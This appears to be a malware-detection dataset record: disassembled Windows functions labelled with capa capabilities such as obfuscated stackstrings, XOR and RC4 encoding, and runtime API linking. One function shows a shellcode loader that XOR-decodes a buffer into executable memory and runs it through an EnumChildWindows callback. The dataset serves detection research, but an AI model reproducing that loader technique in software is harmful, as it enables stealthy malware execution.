joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5d92b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x48
mov eax, dword [0x631220]
xor eax, esp
mov dword [esp + 0x44], eax
cmp dword [0x638df0], 0
je 0x5d92d9
inc dword [0x630f90]
mov eax, dword [0x638df0]
xor eax, 0x11223344
jne 0x5d9354
push 7
lea eax, [esp + 8]
mov dword [esp + 8], 0x746b767a
push eax
mov dword [esp + 0x10], 0x7445663c
mov dword [esp + 0x14], 0x76613a0b
mov dword [esp + 0x18], 0x7d7d6b50
mov dword [esp + 0x1c], 0x72643c33
mov dword [esp + 0x20], 0x7266053d
mov dword [esp + 0x24], 0x187b6171
call fcn.005d82f0
lea eax, [esp]
mov dword [esp], 0
push eax
lea eax, [esp + 8]
push eax
call fcn.005d75d0
mov dword [esp + 0x1c], 0
xorps xmm0, xmm0
movq qword [esp + 0x14], xmm0
mov dword [esp], 0
movdqu xmmword [esp + 4], xmm0
test eax, eax
je 0x5d936c
cmp dword [0x638df0], 0
jne 0x5d936c
mov dword [0x638df0], eax
xor dword [0x638df0], 0x11223344
mov ecx, dword [esp + 0x44]
xor ecx, esp
call fcn.005e0482
add esp, 0x48
ret

Function at 0x5dab50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x48
mov eax, dword [0x631220]
xor eax, esp
mov dword [esp + 0x44], eax
push ebx
mov bl, byte [esp + 0x50]
test bl, bl
jne 0x5dabb1
cmp dword [0x638e7c], 0
je 0x5dab77
mov eax, dword [0x638e7c]
jmp 0x5dabbf
mov dword [esp + 0x10], 0x6c610d6a
mov dword [esp + 0x14], 0x6c7c7b47
mov dword [esp + 0x18], 0x694d2535
mov dword [esp + 0x1c], 0x79732736
mov dword [esp + 0x20], 0x795b6766
mov dword [esp + 0x24], 0x6e2432
mov dword [esp + 0x28], 0x18044a44
jmp 0x5dac12
cmp dword [0x638e80], 0
je 0x5dabda
mov eax, dword [0x638e80]
xor eax, 0x180f0214
test eax, eax
je 0x5dac22
pop ebx
mov ecx, dword [esp + 0x44]
xor ecx, esp
call fcn.005e0482
add esp, 0x48
ret 4
mov dword [esp + 0x10], 0x6d6a0f6a
mov dword [esp + 0x14], 0x6b765179
mov dword [esp + 0x18], 0x46662d24
mov dword [esp + 0x1c], 0x6f69382d
mov dword [esp + 0x20], 0x4c6a7075
mov dword [esp + 0x24], 0x65672a31
mov dword [esp + 0x28], 0x18044a37
mov dword [esp + 0xc], 0x32382435
mov dword [esp + 8], 0x767d677f
push esi
push 9
lea eax, [esp + 0x10]
push eax
call fcn.005d82f0
lea eax, [esp + 8]
mov dword [esp + 8], 0
push eax
lea eax, [esp + 0x10]
push eax
call fcn.005d75d0
push 0x40
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
call fcn.005e0f30
add esp, 0xc
mov dword [esp + 8], 0
mov eax, esi
test esi, esi
je 0x5dac91
xor eax, 0x180f0214
test bl, bl
jne 0x5dac8a
mov dword [0x638e7c], eax
mov eax, esi
pop esi
pop ebx
mov ecx, dword [esp + 0x44]
xor ecx, esp
call fcn.005e0482
add esp, 0x48
ret 4
mov dword [0x638e80], eax
mov eax, esi
mov ecx, dword [esp + 0x4c]
pop esi
pop ebx
xor ecx, esp
call fcn.005e0482
add esp, 0x48
ret 4
Function at 0x5db5d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0xc8
mov eax, dword [0x631220]
xor eax, esp
mov dword [esp + 0xc4], eax
push 0x80
xorps xmm0, xmm0
lea eax, [esp + 0x48]
push 0
push eax
movdqu xmmword [esp + 0x30], xmm0
movdqu xmmword [esp + 0x40], xmm0
call fcn.005e0f30
mov eax, dword [esp + 0xdc]
add esp, 0xc
mov dword [esp], 0
cmp eax, 2
jge 0x5db72a
test eax, eax
jne 0x5db64e
mov dword [esp + 0x24], 0x6b6e4048
mov dword [esp + 0x28], 0x6d6a0635
mov dword [esp + 0x2c], 0x7a4b2e21
mov dword [esp + 0x30], 0x6c6c677e
mov dword [esp + 0x34], 0xb4823
push 5
jmp 0x5db671
cmp eax, 1
jne 0x5db72a
mov dword [esp + 0x24], 0x57434548
mov dword [esp + 0x28], 0x3f470912
mov dword [esp + 0x2c], 0x18044a7b
push 3
lea eax, [esp + 0x28]
push eax
call fcn.005d82f0
push 0x80
lea eax, [esp + 0x48]
push 0
push eax
call fcn.005e0f30
add esp, 0xc
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x28]
push eax
call fcn.005d8610
xorps xmm0, xmm0
lea eax, [esp + 0x44]
push eax
movdqu xmmword [esp + 0x28], xmm0
movdqu xmmword [esp + 0x38], xmm0
movq qword [esp + 8], xmm0
movdqu xmmword [esp + 0x10], xmm0
movq qword [esp + 0x20], xmm0
call fcn.005d8730
add eax, eax
mov dword [esp + 0xc], 0x18
mov word [esp + 4], ax
mov eax, dword [esp + 4]
add eax, 2
mov word [esp + 6], ax
lea eax, [esp + 0x44]
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 0x14], eax
call fcn.005d92b0
test eax, eax
je 0x5db710
lea ecx, [esp + 0xc]
push ecx
push dword [esp + 0xd0]
lea ecx, [esp + 8]
push ecx
call eax
mov eax, dword [esp]
mov ecx, dword [esp + 0xc4]
xor ecx, esp
call fcn.005e0482
add esp, 0xc8
ret 8
mov ecx, dword [esp + 0xc4]
xor eax, eax
xor ecx, esp
call fcn.005e0482
add esp, 0xc8
ret 8
Function at 0x5faa9f
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x631220]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [0x6292d0]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.005e7c43
mov dword [ebp - 0x14], eax
cmp dword [0x639e04], esi
jne 0x5fab92
push 0x800
push esi
push 0x4dd458
call dword [0x62920c]
mov edi, eax
test edi, edi
jne 0x5fab1f
call dword [0x629230]
cmp eax, 0x57
jne 0x5fac72
push esi
push esi
push 0x4dd458
call dword [0x62920c]
mov edi, eax
test edi, edi
je 0x5fac72
push 0x4dd470
push edi
call dword [0x6290c4]
test eax, eax
je 0x5fac72
push eax
call ebx
push 0x4dd47c
push edi
mov dword [0x639e04], eax
call dword [0x6290c4]
push eax
call ebx
push 0x4dd48c
push edi
mov dword [0x639e08], eax
call dword [0x6290c4]
push eax
call ebx
push 0x4dd4a0
push edi
mov dword [0x639e0c], eax
call dword [0x6290c4]
push eax
call ebx
mov dword [0x639e14], eax
test eax, eax
je 0x5fab8f
push 0x4cbf18
push edi
call dword [0x6290c4]
push eax
call ebx
mov dword [0x639e10], eax
mov edi, dword [ebp - 0x18]
call dword [0x629208]
test eax, eax
je 0x5fabb7
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x5fabaa
push eax
call dword [0x6291c0]
cmp dword [ebp - 0x14], esi
je 0x5fabcc
push 4
pop eax
jmp 0x5fac74
cmp dword [ebp - 0x14], esi
je 0x5fabcc
push dword [0x639e04]
call dword [0x6292cc]
push 3
jmp 0x5fabb1
mov eax, dword [0x639e10]
mov ebx, dword [0x6292cc]
cmp eax, edi
je 0x5fac2a
cmp dword [0x639e14], edi
je 0x5fac2a
push eax
call ebx
push dword [0x639e14]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x5fac2a
test eax, eax
je 0x5fac2a
call ecx
test eax, eax
je 0x5fac1f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x5fac1f
test byte [ebp - 8], 1
jne 0x5fac2a
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x5fac5a
mov eax, dword [0x639e08]
cmp eax, edi
je 0x5fac57
push eax
call ebx
test eax, eax
je 0x5fac57
call eax
mov esi, eax
test esi, esi
je 0x5fac57
mov eax, dword [0x639e0c]
cmp eax, edi
je 0x5fac57
push eax
call ebx
test eax, eax
je 0x5fac57
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x639e04]
call ebx
test eax, eax
je 0x5fac72
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x5fac74
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005e0482
mov esp, ebp
pop ebp
ret
Function at 0x6005e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 8
cmp byte [ecx + 0x20], 0
lea eax, [ecx + 0x1c]
push esi
mov esi, dword [esp + 0x10]
push edi
mov dword [esp + 8], ecx
jbe 0x60060e
mov edi, dword [eax]
mov dword [esp + 0xc], edi
cmp esi, edi
jb 0x600605
cmp esi, dword [eax + 8]
jb 0x60061c
add eax, 8
cmp byte [eax + 4], 0
ja 0x6005f6
mov eax, dword [ecx + 0x14]
pop edi
mov al, byte [esi + eax]
pop esi
add esp, 8
ret 4
movzx eax, byte [eax + 4]
sub esi, edi
push ebx
push ebp
lea ebx, [eax*4 + 0x639e1c]
lea ebp, [eax - 1]
mov edi, edi
movzx eax, byte [ebx]
movzx edx, byte [ebx + 1]
add ecx, eax
movzx eax, byte [ecx]
and edx, eax
mov al, byte [ebx + 2]
test al, al
je 0x600653
movzx ecx, byte [ecx + 1]
movzx eax, al
and ecx, eax
shl ecx, 8
or edx, ecx
mov cl, byte [ebx + 3]
shr edx, cl
test ebp, ebp
je 0x6006bb
mov edi, 1
mov ecx, ebp
shl edi, cl
test esi, edi
setne al
mov byte [esp + 0x1c], al
test dl, 1
je 0x60067a
test al, al
sete byte [esp + 0x1c]
shr edx, 1
mov eax, edx
xor edx, edx
div ebp
mov eax, 1
mov ecx, edx
shl eax, cl
test esi, eax
je 0x600693
or esi, edi
jmp 0x600697
not edi
and esi, edi
cmp byte [esp + 0x1c], 0
je 0x6006aa
mov ecx, dword [esp + 0x10]
or esi, eax
dec ebp
sub ebx, 4
jmp 0x600630
mov ecx, dword [esp + 0x10]
not eax
and esi, eax
dec ebp
sub ebx, 4
jmp 0x600630
pop ebp
pop ebx
test dl, 1
je 0x6006c5
xor esi, 1
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
pop edi
mov eax, dword [eax + 0x14]
add eax, esi
pop esi
mov al, byte [eax + ecx]
add esp, 8
ret 4

Function at 0x600ce0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x600d7d
push ebp
mov ebp, dword [esp + 0x10]
test ebp, ebp
je 0x600d7c
push ebx
mov ebx, dword [esp + 0x18]
xor edx, edx
test ebx, ebx
je 0x600d77
push edi
cmp ebx, 0x20
jb 0x600d5b
lea eax, [esi - 1]
lea ecx, [ebp - 1]
add eax, ebx
add ecx, ebx
cmp ebp, eax
ja 0x600d1d
cmp ecx, esi
jae 0x600d5b
movdqa xmm1, xmmword [0x4de2a0]
mov eax, ebx
and eax, 0x1f
mov ecx, ebx
sub ecx, eax
mov edi, ebp
mov eax, esi
sub edi, esi
movdqu xmm0, xmmword [eax]
lea eax, [eax + 0x20]
pxor xmm0, xmm1
movdqu xmmword [edi + eax - 0x20], xmm0
movdqu xmm0, xmmword [eax - 0x10]
pxor xmm0, xmm1
movdqu xmmword [edx + ebp + 0x10], xmm0
add edx, 0x20
cmp edx, ecx
jb 0x600d34
cmp edx, ebx
jae 0x600d76
mov edi, ebx
lea ecx, [edx + ebp]
sub esi, ebp
sub edi, edx
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, 0x67
mov byte [ecx - 1], al
dec edi
jne 0x600d68
pop edi
mov byte [ebx + ebp], 0
pop ebx
pop ebp
pop esi
ret
Function at 0x456fa0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x25b0
call fcn.00466ba0
mov eax, dword [0x4f0840]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x25a6
lea eax, [ebp - 0x25ac]
push str.____
push eax
call fcn.00467bc0
mov bl, byte [ebp - 0x25ac]
add esp, 0xc
xor bl, 0x90
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 4
push 0x1000
push 0x25a4
push 0
call dword [0xbe82a4]
mov edi, eax
lea eax, [ebp - 0x25b0]
push eax
push 0x40
push 0x25a4
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
nop
nop
lea esi, [ebp - 0x25ac]
mov ecx, edi
sub esi, edi
mov edx, 0x25a5
nop
nop
nop
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
nop
xor al, bl
mov byte [ecx - 1], al
sub edx, 1
jne 0x457025
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00466875
mov esp, ebp
pop ebp
ret 0x10

Function at 0x457630
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
mov eax, dword [0x4f0840]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
cmp eax, 1
jne 0x457679
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x4f3180]
js 0x457665
cmp eax, 0x32
jl 0x457761
push 0
call dword [sym.imp.USER32.dll_MessageBeep]
call esi
mov dword [0x4f3180], eax
jmp 0x457749
cmp eax, 3
jne 0x457708
push 0x6c
push dword [0x4f557c]
call fcn.00403080
mov ecx, dword [0x4f3174]
add esp, 8
mov esi, eax
test ecx, ecx
je 0x4576b1
push 0x20001
push 0
push dword [esi]
call ecx
test eax, eax
jne 0x457749
push dword [esi]
lea eax, [ebp - 0x58]
push str.Unable_to_play_sound_file_n_s_nUsing_default_sound_instead
push eax
call fcn.00408a10
push dword [0x4c8514]
lea eax, [ebp - 0xbc]
push str._.70s_Sound_Error
push eax
call fcn.00408a10
add esp, 0x18
lea eax, [ebp - 0xbc]
push 0x30
push eax
lea eax, [ebp - 0x58]
push eax
push dword [0x4f55b8]
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
push 0x66
push dword [0x4f557c]
call fcn.00403580
add esp, 0xc
jmp 0x457749
cmp eax, 4
jne 0x457749
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x4f3184]
js 0x457722
cmp eax, 0x32
jl 0x457761
cmp dword [0x4f54f0], 2
jne 0x45773a
push 0x64
push 0x320
call dword [sym.imp.KERNEL32.dll_Beep]
jmp 0x457742
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBeep]
call esi
mov dword [0x4f3184], eax
mov eax, dword [0x4f55ac]
cmp dword [eax + 0x134], 0
jne 0x457761
push 2
call fcn.004587b0
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00466875
mov esp, ebp
pop ebp
ret

Function at 0x459680
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push dword [0x4f55b8]
push 0x4573b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret
Function at 0x45d8a0
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x4f39dc], 0
push esi
push edi
jne 0x45d8fc
push str.secur32.dll
call fcn.0045d9f0
push str.sspicli.dll
mov esi, eax
call fcn.0045d9f0
add esp, 8
test esi, esi
je 0x45d8e9
push str.GetUserNameExA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4f39d8], eax
mov dword [0x4f39dc], 1
jmp 0x45d901
xor eax, eax
mov dword [0x4f39dc], 1
mov dword [0x4f39d8], eax
jmp 0x45d901
mov eax, dword [0x4f39d8]
test eax, eax
je 0x45d961
lea ecx, [ebp - 4]
mov dword [ebp - 4], 0
push ecx
push 0
push 8
call eax
push 1
push dword [ebp - 4]
call fcn.0040e5e0
add esp, 8
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
push 8
call dword [0x4f39d8]
movzx edi, al
test al, al
je 0x45d958
push 0x40
push esi
call fcn.00467a90
add esp, 8
test eax, eax
je 0x45d9aa
mov byte [eax], 0
xor eax, eax
test edi, edi
pop edi
cmovne eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.0040e5c0
add esp, 4
mov edi, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 4]
push eax
push 0
mov dword [ebp - 4], 0
call edi
test eax, eax
jne 0x45d984
mov eax, 0x100
mov dword [ebp - 4], eax
jmp 0x45d987
mov eax, dword [ebp - 4]
push 1
push eax
call fcn.0040e5e0
add esp, 8
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
call edi
mov edi, eax
test edi, edi
jne 0x45d9aa
push esi
call fcn.0040e5c0
add esp, 4
xor eax, eax
test edi, edi
pop edi
cmovne eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x45d9f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [0x4f39e8]
push esi
push edi
test ecx, ecx
jne 0x45da36
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
lea eax, [esi + esi*2]
cdq
sub eax, edx
mov esi, eax
sar esi, 1
push 1
add esi, 0x200
push esi
push ecx
call fcn.0040e680
add esp, 0xc
mov dword [0x4f39e8], eax
push esi
push eax
call edi
mov ecx, dword [0x4f39e8]
cmp eax, esi
jge 0x45da07
push 0
push dword [ebp + 8]
push 0x4e17fc
push ecx
call fcn.0040de70
add esp, 0x10
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
mov edi, eax
call fcn.0040e5c0
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x460280
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
mov eax, dword [0x4f0840]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x12c]
push edi
push 0x107
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [ebp - 0x12c]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4602b1
mov ax, word [0x4e219c]
mov word [ecx], ax
mov al, byte [0x4e219e]
mov byte [ecx + 2], al
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x460317
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
nop
lea eax, [ebp - 0x26c]
push 0x140
push eax
call esi
add esp, 8
lea eax, [ebp - 0x26c]
push eax
push edi
call ebx
test eax, eax
jne 0x4602f0
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x274], eax
lea eax, [ebp - 0x274]
push 4
push eax
call esi
add esp, 8
cmp dword [0x4f40dc], 0
jne 0x4603b4
push str.advapi32.dll
call fcn.0045d9f0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 4
mov dword [0x4f40dc], eax
test eax, eax
je 0x460367
push str.CryptAcquireContextA
push eax
call edi
mov ecx, eax
mov eax, dword [0x4f40dc]
jmp 0x460369
xor ecx, ecx
mov dword [0x4f40d0], ecx
test eax, eax
je 0x460384
push str.CryptGenRandom
push eax
call edi
mov ecx, eax
mov eax, dword [0x4f40dc]
jmp 0x460386
xor ecx, ecx
mov dword [0x4f40d4], ecx
test eax, eax
je 0x4603a8
push str.CryptReleaseContext
push eax
call edi
cmp dword [0x4f40dc], 0
mov dword [0x4f40d8], eax
je 0x460417
jmp 0x4603b9
mov dword [0x4f40d8], 0
jmp 0x460417
mov eax, dword [0x4f40d8]
mov ecx, dword [0x4f40d0]
test ecx, ecx
je 0x460417
cmp dword [0x4f40d4], 0
je 0x460417
test eax, eax
je 0x460417
push 0xf0000000
push 1
push 0
push 0
lea eax, [ebp - 0x270]
push eax
call ecx
test eax, eax
je 0x460417
lea eax, [ebp - 0x24]
push eax
push 0x20
push dword [ebp - 0x270]
call dword [0x4f40d4]
test eax, eax
je 0x460409
lea eax, [ebp - 0x24]
push 0x20
push eax
call esi
add esp, 8
push 0
push dword [ebp - 0x270]
call dword [0x4f40d8]
push esi
call fcn.00462d20
add esp, 4
call fcn.00460600
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00466875
mov esp, ebp
pop ebp
ret
Function at 0x461530
Capabilities:
Link many functions at runtime

Disassembly:
cmp dword [0x4f4110], 0
jne 0x4616b7
push esi
push str.advapi32.dll
mov dword [0x4f4110], 1
call fcn.0045d9f0
add esp, 4
mov dword [0x4f4118], eax
test eax, eax
je 0x4616ae
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.GetSecurityInfo
push eax
call esi
mov dword [0x4f54c8], eax
test eax, eax
je 0x4616ae
mov eax, dword [0x4f4118]
test eax, eax
je 0x4616a4
push str.SetSecurityInfo
push eax
call esi
mov dword [0x4f54c4], eax
test eax, eax
je 0x4616ae
mov eax, dword [0x4f4118]
test eax, eax
je 0x461691
push str.OpenProcessToken
push eax
call esi
mov dword [0x4f54d8], eax
test eax, eax
je 0x4616ae
mov eax, dword [0x4f4118]
test eax, eax
je 0x46167e
push str.GetTokenInformation
push eax
call esi
mov dword [0x4f54d4], eax
test eax, eax
je 0x4616ae
mov eax, dword [0x4f4118]
test eax, eax
je 0x46166b
push 0x4e2494
push eax
call esi
mov dword [0x4f54d0], eax
test eax, eax
je 0x4616ae
mov eax, dword [0x4f4118]
test eax, eax
je 0x461658
push 0x4e24b4
push eax
call esi
mov dword [0x4f54cc], eax
test eax, eax
je 0x4616ae
mov eax, dword [0x4f4118]
test eax, eax
je 0x461645
push str.SetEntriesInAclA
push eax
call esi
mov dword [0x4f54c0], eax
test eax, eax
je 0x4616ae
mov eax, 1
mov dword [0x4f4114], eax
pop esi
ret
xor eax, eax
mov dword [0x4f54c0], 0
mov dword [0x4f4114], eax
pop esi
ret
xor eax, eax
mov dword [0x4f54cc], 0
mov dword [0x4f4114], eax
pop esi
ret
xor eax, eax
mov dword [0x4f54d0], 0
mov dword [0x4f4114], eax
pop esi
ret
xor eax, eax
mov dword [0x4f54d4], 0
mov dword [0x4f4114], eax
pop esi
ret
xor eax, eax
mov dword [0x4f54d8], 0
mov dword [0x4f4114], eax
pop esi
ret
mov dword [0x4f54c4], 0
xor eax, eax
mov dword [0x4f4114], eax
pop esi
ret
mov eax, dword [0x4f4114]
ret
Function at 0x4637d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
call fcn.00462480
mov esi, eax
add esp, 4
cmp esi, 0xffffffff
je 0x463800
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x467635
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x467674
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x467674
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x467674
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x467674
cmp dword [ecx + 0x74], 0xe
jbe 0x467674
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4a2628
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4a2667
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4a2667
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4a2667
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4a2667
cmp dword [ecx + 0x74], 0xe
jbe 0x4a2667
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4ac5c6
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4e8964
push 0x4e895c
push str.FlsAlloc
push 0x1f
call fcn.004ac294
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4ac5fa
push dword [ebp + 8]
mov ecx, esi
call dword [0x4c84b8]
call esi
jmp 0x4ac600
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4ac644
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4e8974
push 0x4e896c
push str.FlsGetValue
push 0x21
call fcn.004ac294
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4ac67b
push dword [ebp + 8]
mov ecx, esi
call dword [0x4c84b8]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4ac683
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push str.am_pm
push 0x4e8974
push str.FlsSetValue
push 0x22
call fcn.004ac294
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4ac6bd
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x4c84b8]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]